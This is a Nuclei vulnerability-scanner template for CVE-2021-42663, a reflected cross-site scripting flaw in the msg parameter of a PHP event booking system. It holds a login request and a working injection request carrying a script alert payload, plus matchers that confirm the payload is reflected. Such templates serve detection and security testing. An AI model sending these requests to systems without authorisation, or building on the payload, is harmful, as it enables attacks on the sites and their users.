nuclei-templates/cves/2021/CVE-2021-42663.yaml

id: CVE-2021-42663

info:
  name: Online Event Booking and Reservation System version 2.3.0 - Cross Site Scripting
  author: fxploit
  severity: medium
  description: |
    An HTML injection vulnerability exists in Sourcecodester Online Event Booking and Reservation System in PHP/MySQL via the msg parameter to /event-management/index.php. An attacker can leverage this vulnerability in order to change the visibility of the website. Once the target user clicks on a given link he will display the content of the HTML code of the attacker's choice.
  reference:
    - https://github.com/0xDeku/CVE-2021-42663
    - https://www.sourcecodester.com/php/14241/online-event-booking-and-reservation-system-phpmysql.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42663
  classification:
    cve-id: CVE-2021-42663
  metadata:
    verified: true
  tags: cve,cve2021,xss

requests:
  - raw:
      - |
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        name={{username}}&pwd={{password}}

      - |
        GET /views/index.php?msg=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 2
    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</i><script>alert(document.domain)</script></div>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200